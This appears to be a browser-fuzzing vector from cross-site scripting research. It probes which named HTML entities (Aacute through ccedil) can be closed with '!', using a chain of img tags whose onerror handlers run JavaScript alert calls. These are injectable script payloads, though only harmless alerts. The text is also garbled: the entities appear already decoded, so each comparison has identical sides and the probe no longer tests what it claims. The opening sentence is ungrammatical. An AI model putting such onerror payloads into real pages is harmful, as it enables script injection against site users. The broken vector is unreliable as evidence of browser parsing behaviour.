This vector shows what Named HTML entities that can be closed with !.
<img src=data: onerror="`&$[data1]!x`==`&$[data1];!x`?log('$[data1]'):0"><img src=data: onerror="`Á!x`==`Á!x`?alert('Aacute'):0"><img src=data: onerror="`á!x`==`á!x`?alert('aacute'):0"><img src=data: onerror="`Â!x`==`Â!x`?alert('Acirc'):0"><img src=data: onerror="`â!x`==`â!x`?alert('acirc'):0"><img src=data: onerror="`´!x`==`´!x`?alert('acute'):0"><img src=data: onerror="`Æ!x`==`Æ!x`?alert('AElig'):0"><img src=data: onerror="`æ!x`==`æ!x`?alert('aelig'):0"><img src=data: onerror="`À!x`==`À!x`?alert('Agrave'):0"><img src=data: onerror="`à!x`==`à!x`?alert('agrave'):0"><img src=data: onerror="`&!x`==`&!x`?alert('amp'):0"><img src=data: onerror="`&!x`==`&!x`?alert('AMP'):0"><img src=data: onerror="`Å!x`==`Å!x`?alert('Aring'):0"><img src=data: onerror="`å!x`==`å!x`?alert('aring'):0"><img src=data: onerror="`Ã!x`==`Ã!x`?alert('Atilde'):0"><img src=data: onerror="`ã!x`==`ã!x`?alert('atilde'):0"><img src=data: onerror="`Ä!x`==`Ä!x`?alert('Auml'):0"><img src=data: onerror="`ä!x`==`ä!x`?alert('auml'):0"><img src=data: onerror="`¦!x`==`¦!x`?alert('brvbar'):0"><img src=data: onerror="`Ç!x`==`Ç!x`?alert('Ccedil'):0"><img src=data: onerror="`ç!x`==`ç!x`?alert('ccedil'):0">